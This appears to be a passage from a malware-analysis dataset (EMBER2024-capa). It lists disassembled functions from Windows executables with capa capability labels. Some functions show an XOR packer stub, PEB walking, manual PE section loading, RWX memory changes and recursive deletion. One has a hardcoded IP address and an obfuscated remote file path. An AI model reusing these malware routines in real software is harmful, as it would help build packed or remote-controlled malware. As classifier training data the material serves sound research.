joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401490
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
lea edi, [ebp - 0x270]
mov ecx, 0x9c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0x22c], 0
jmp 0x4014c9
mov eax, dword [ebp - 0x22c]
add eax, 1
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x64
jg 0x401599
mov esi, esp
push 0x104
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp esi, esp
call fcn.00402280
mov edx, dword [ebp - 0x22c]
push edx
lea eax, [ebp - 0x120]
push eax
push str._sinfOEM_d.inf
lea ecx, [ebp - 0x120]
push ecx
call fcn.00401f80
add esp, 0x10
push 0x422110
lea edx, [ebp - 0x120]
push edx
call fcn.004026c0
add esp, 8
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x401594
mov eax, dword [ebp - 0x228]
push eax
push 0x104
lea ecx, [ebp - 0x224]
push ecx
call fcn.004024a0
add esp, 0xc
push str.CatalogFileusbstk.cat
lea edx, [ebp - 0x224]
push edx
call fcn.00402200
add esp, 8
test eax, eax
je 0x401575
mov dword [ebp - 0x22c], 0x64
jmp 0x401585
mov eax, dword [ebp - 0x228]
mov ecx, dword [eax + 0xc]
and ecx, 0x10
test ecx, ecx
je 0x401536
mov edx, dword [ebp - 0x228]
push edx
call fcn.004023c0
add esp, 4
jmp 0x4014ba
mov esi, esp
push 0
push 2
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupOpenInfFileA]
cmp esi, esp
call fcn.00402280
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x401681
mov dword [0x4265c4], 0
mov esi, esp
lea ecx, [ebp - 0x14]
push ecx
push 0
push str.USBPCCAM.NT
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.SETUPAPI.dll_SetupFindFirstLineA]
cmp esi, esp
call fcn.00402280
test eax, eax
je 0x40166c
mov esi, esp
push 0
push 0x40
mov eax, dword [0x4265c4]
shl eax, 6
add eax, 0x4255c4
push eax
push 2
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.SETUPAPI.dll_SetupGetStringFieldA]
cmp esi, esp
call fcn.00402280
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401651
mov edx, dword [0x4265c4]
shl edx, 6
add edx, 0x4255c4
mov dword [ebp - 0x230], edx
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [0x4265c4]
add ecx, 1
mov dword [0x4265c4], ecx
call fcn.004022c0
add esp, 4
mov esi, esp
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupFindNextLine]
cmp esi, esp
call fcn.00402280
test eax, eax
jne 0x4015ee
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.SETUPAPI.dll_SetupCloseInfFile]
cmp esi, esp
call fcn.00402280
jmp 0x401693
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00402280
mov dword [ebp - 0x18], eax
pop edi
pop esi
pop ebx
add esp, 0x270
cmp ebp, esp
call fcn.00402280
mov esp, ebp
pop ebp
ret
Function at 0x40b15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40b168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40b14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40b145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40b145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x79a43931
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x46e01cc5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401130
Capabilities:
Read file via mapping

Disassembly:
push 0xffffffffffffffff
push 0x423af8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10

Function at 0x401210
Capabilities:
Read file via mapping

Disassembly:
push 0xffffffffffffffff
push 0x423b20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebp
push esi
push edi
mov esi, ecx
push 4
push 0
mov eax, dword [esi + 0xc]
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
lea ecx, [esi + 4]
push 1
push ecx
lea ecx, [esp + 0x18]
mov ebp, eax
call fcn.00402d00
mov edx, dword [0x42f214]
mov dword [esp + 0x24], 0
mov dword [esp + 0xc], edx
push 0xe000
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call fcn.00418b8e
mov eax, dword [esp + 0xc]
push eax
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x40129b
push 9
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
mov dword [esi + 0xc], 0
mov byte [esp + 0x24], 0
call fcn.0041876b
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], 0xffffffff
call fcn.00402d3c
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x1c
ret

Function at 0x401de0
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
ret 4

Function at 0x401e00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x423c80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x10]
call fcn.00417ce3
mov ebp, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ebp
mov dword [esp + 0x30], 0
call fcn.004187d9
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x34], 1
call fcn.00401c40
mov eax, dword [esp + 0x18]
xor edi, edi
test eax, eax
jle 0x401e74
mov edx, dword [esp + 0x14]
mov ecx, esi
mov eax, dword [edx + edi*4]
push eax
call fcn.00401de0
mov eax, dword [esp + 0x18]
inc edi
cmp edi, eax
jl 0x401e5c
push ebp
mov ecx, esi
call fcn.00401de0
push ebp
mov ecx, esi
call fcn.00401ec0
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call fcn.0041876b
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
call fcn.00417d16
mov ecx, dword [esp + 0x24]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x401ec0
Capabilities:
Delete directory
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x423ca6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x348
mov dword [esp], ecx
push ebp
lea ecx, [esp + 0x10]
call fcn.00403b4a
mov ebp, dword [esp + 0x35c]
lea eax, [esp + 0xf4]
push ebp
push str._s.
push eax
mov dword [esp + 0x360], 0
call fcn.0040b31a
add esp, 0xc
lea ecx, [esp + 0xf4]
push 0
push ecx
lea ecx, [esp + 0x18]
call fcn.00403c0d
test eax, eax
je 0x40200d
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.00403e2d
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
call fcn.00403df4
test eax, eax
jne 0x401fff
lea edx, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
call fcn.00404025
push 0xc8
mov ecx, eax
mov byte [esp + 0x360], 1
call fcn.00418ac1
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x35c], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.0041876b
mov edx, dword [esp + 0x18]
push 0x10
lea ecx, [esp + 0x1c]
call dword [edx + 0x38]
test eax, eax
lea eax, [esp + 0x34]
push eax
push ebp
push str._s_s
je 0x401fe1
lea ecx, [esp + 0x1d0]
push ecx
call fcn.0040b31a
mov ecx, dword [esp + 0x1c]
add esp, 0x10
lea edx, [esp + 0x1c4]
push edx
call fcn.00401ec0
jmp 0x401fff
lea ecx, [esp + 0x298]
push ecx
call fcn.0040b31a
add esp, 0x10
lea edx, [esp + 0x28c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x401f2e
pop edi
pop esi
lea ecx, [esp + 0x10]
call fcn.00403bc3
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
pop ebp
mov dword [esp + 0x350], 0xffffffff
lea ecx, [esp + 0xc]
jne 0x40204f
call fcn.00403b87
xor eax, eax
mov ecx, dword [esp + 0x348]
mov dword fs:[0], ecx
add esp, 0x354
ret 4
call fcn.00403b87
mov ecx, dword [esp + 0x348]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x354
ret 4
Function at 0x4022a0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x423cf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [esp + 0x24]
push esi
push eax
lea ecx, [esp + 0x2c]
call fcn.004184e0
mov ecx, dword [0x42f214]
xor esi, esi
mov dword [esp + 0x20], esi
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x28]
mov byte [esp + 0x20], 1
cmp dword [eax - 8], esi
jle 0x402352
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [esi + eax], 0x5c
jne 0x402349
lea edx, [esi + 1]
lea eax, [esp + 0xc]
push edx
push 0
push eax
lea ecx, [esp + 0x38]
call fcn.00417895
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 2
call fcn.004188a4
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.0041876b
mov eax, dword [esp + 8]
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x14], ecx
push edx
push eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], 0xc
call edi
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
inc esi
cmp esi, ecx
jl 0x4022ec
pop edi
lea ecx, [esp + 4]
mov byte [esp + 0x20], 0
call fcn.0041876b
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], 0xffffffff
call fcn.0041876b
mov ecx, dword [esp + 0x18]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret 4

Function at 0x402450
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x402495
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
je 0x402515
mov eax, dword [esp + 0x18]
sub eax, 0
je 0x402515
dec eax
je 0x4024e0
dec eax
jne 0x402515
mov eax, dword [esp + 0xc]
cmp eax, 4
jbe 0x402515
cmp eax, 5
jne 0x402515
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4024c8
pop edi
mov eax, 2
add byte [eax], al
pop esi
add esp, 0x9c
ret
cmp eax, 1
je 0x4024d2
cmp eax, 2
jne 0x402515
pop edi
mov eax, 4
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 4
jne 0x402515
mov eax, dword [esp + 0x10]
test eax, eax
je 0x402515
cmp eax, 0xa
jne 0x402502
pop edi
mov eax, 1
pop esi
add esp, 0x9c
ret
cmp eax, 0x5a
jne 0x402515
pop edi
mov eax, 3
pop esi
add esp, 0x9c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x9c
ret

Function at 0x402520
Capabilities:
Copy file
Set file attributes

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push edi
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x80
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
ret 0xc
Function at 0x4ccd10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4447a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
xor ebx, ebx
mov dword [esp + 0x20], ebx
mov eax, dword [esp + 0x28]
push 0x45c518
push eax
call fcn.004efa8a
add esp, 8
test eax, eax
je 0x4cce23
mov ecx, dword [esp + 0x2c]
push 0x45c518
push ecx
call fcn.004efa8a
add esp, 8
test eax, eax
je 0x4cce23
mov eax, dword [0x459a84]
mov dword [esp + 0x10], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
push 0x4582d8
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 4
call fcn.005020a9
lea edx, [esp + 0x2c]
lea ecx, [esp + 8]
push edx
call fcn.00502338
push 0x4582d4
lea ecx, [esp + 0xc]
call fcn.005022fc
push 0x4582d0
lea ecx, [esp + 0x10]
call fcn.005020a9
lea eax, [esp + 0x2c]
lea ecx, [esp + 0xc]
push eax
call fcn.00502338
push 0x4582d4
lea ecx, [esp + 0x10]
call fcn.005022fc
mov ecx, dword [esp + 8]
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.00500728
mov esi, eax
cmp esi, ebx
jl 0x4ccdf9
mov eax, dword [esp + 0xc]
lea edx, [esi + 1]
push edx
push eax
lea ecx, [esp + 0x30]
call fcn.00500728
cmp eax, ebx
jge 0x4cce54
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call fcn.00501f20
lea ecx, [esp + 8]
mov byte [esp + 0x20], 2
call fcn.00501f20
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call fcn.00501f20
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], bl
call fcn.00501f20
lea ecx, [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
call fcn.00501f20
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
mov ecx, dword [esp + 8]
lea edx, [esp + 0x14]
mov ecx, dword [ecx - 8]
sub eax, ecx
add ecx, esi
sub eax, esi
push eax
push ecx
push edx
lea ecx, [esp + 0x34]
call fcn.0050056e
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 5
call fcn.00502059
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 4
call fcn.00501f20
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x10]
push eax
call fcn.00502059
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call fcn.00501f20
lea ecx, [esp + 8]
mov byte [esp + 0x20], 2
call fcn.00501f20
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call fcn.00501f20
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], bl
call fcn.00501f20
lea ecx, [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
call fcn.00501f20
mov ecx, dword [esp + 0x18]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x4d43e0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x445536
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x138
push esi
mov esi, ecx
push 0x458ae0
lea ecx, [esp + 8]
call fcn.00501f8e
lea eax, [esp + 0x34]
push 0x105
push eax
mov dword [esp + 0x14c], 0
call dword [fcn.0044820c]
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 8]
call fcn.005020a9
lea edx, [esp + 0x10]
push 2
push edx
lea ecx, [esp + 0xc]
call fcn.00500680
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x148], 1
call fcn.00502059
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], 0
call fcn.00501f20
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x24]
push eax
mov eax, dword [esp + 8]
lea edx, [esp + 0x30]
push ecx
push edx
push eax
call dword [0x44823c]
cmp eax, 1
jne 0x4d44c5
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x24]
mov ecx, 0x14
mov eax, edi
mov edx, ebp
call fcn.004efc70
push 0
push 0x64
push ebp
push edi
mov dword [esi + 0x2c], eax
call fcn.004efc30
mov ecx, dword [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x30]
push ecx
push edx
push eax
call fcn.004efc90
pop edi
mov dword [esi + 0x30], eax
pop ebp
jmp 0x4d450c
lea edx, [esp + 0xc]
lea eax, [esp + 8]
push edx
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x20]
push ecx
push edx
push eax
call dword [0x448238]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 8]
imul ecx, dword [esp + 0x14]
imul ecx, eax
lea eax, [eax + eax*4]
xor edx, edx
shr ecx, 0x14
lea eax, [eax + eax*4]
mov dword [esi + 0x2c], ecx
shl eax, 2
div dword [esp + 0xc]
mov dword [esi + 0x30], eax
lea ecx, [esp + 4]
mov dword [esp + 0x144], 0xffffffff
call fcn.00501f20
mov ecx, dword [esp + 0x13c]
pop esi
mov dword fs:[0], ecx
add esp, 0x144
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x448054], 1
mov dword [0x448050], 1
mov dword [0x44804c], 1
mov dword [0x448044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x44800c], eax
mov eax, dword [0x448060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sub.msvcrt.dll___set_app_type
call sub.msvcrt.dll___p__fmode
mov edx, dword [0x448074]
mov dword [eax], edx
call sub.msvcrt.dll___p__commode
mov edx, dword [0x44805c]
mov dword [eax], edx
call sym.KS4_
cmp dword [0x430058], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sub.msvcrt.dll___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401102
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], sym.compareEjjRKS4_
call sym.t__ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareEPKc
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060
Function at 0x401a8d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call sym._mcount
call fcn.0042e540
call sym.___main
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x10]
mov dword [esp + 4], str.abc123
mov dword [esp], str.204.44.86.163
mov ecx, eax
call sym._11
sub esp, 8
mov dword [ebp - 0x27], 0x6173642f
mov dword [ebp - 0x23], 0x2e373466
mov dword [ebp - 0x1f], 0x2e313131
mov dword [ebp - 0x1b], 0x322e3331
mov dword [ebp - 0x17], 0x742e3931
mov word [ebp - 0x13], 0x7478
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x27]
mov dword [esp], edx
mov ecx, eax
call fcn.00401a0c
sub esp, 4
nop
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401ba1
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov edx, eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
movzx eax, ax
add eax, edx
add eax, 0x18
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401d37
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x401c7f
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x401c7a
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401c44
mov eax, 0
jmp 0x401d51
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x401d2f
jmp 0x401d2f
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
add eax, edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._21
test eax, eax
jne 0x401caa
mov eax, 0
jmp 0x401d51
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401cf4
mov eax, 0
jmp 0x401d51
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x14]
mov edx, dword [ebp + 8]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 0x28
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0xc]
jg 0x401bd9
mov eax, 1
add esp, 0x40
pop ebx
pop esi
pop ebp
ret
Function at 0x40c720
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.S4_jRKS3_
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call sym.S4_jRKS3_
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40c780
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x448068]
test esi, esi
jle 0x40c8a0
mov edi, dword [0x44806c]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40c7b4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40c839
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x40c7a0
mov dword [esp], eax
mov ebx, eax
call sym.char_traitsIcESaIcEE7compareEjjPKcj
mov edi, eax
test eax, eax
je 0x40c8c7
mov eax, dword [0x44806c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym._traitsIcESaIcEE7compareEjjPKcj
mov edx, dword [0x44806c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40c8a7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40c832
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40c840
add dword [0x448068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x44806c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40c832
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym._cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareEjjRKS4_jj
lea esi, [esi]
lea edi, [edi]
xor esi, esi
jmp 0x40c7be
mov eax, dword [0x44806c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym._cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareEjjRKS4_jj
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym._cxx1112basic_stringIcSt11char_traitsIcESaIcEE7compareEjjRKS4_jj
mov esi, esi
lea edi, [edi]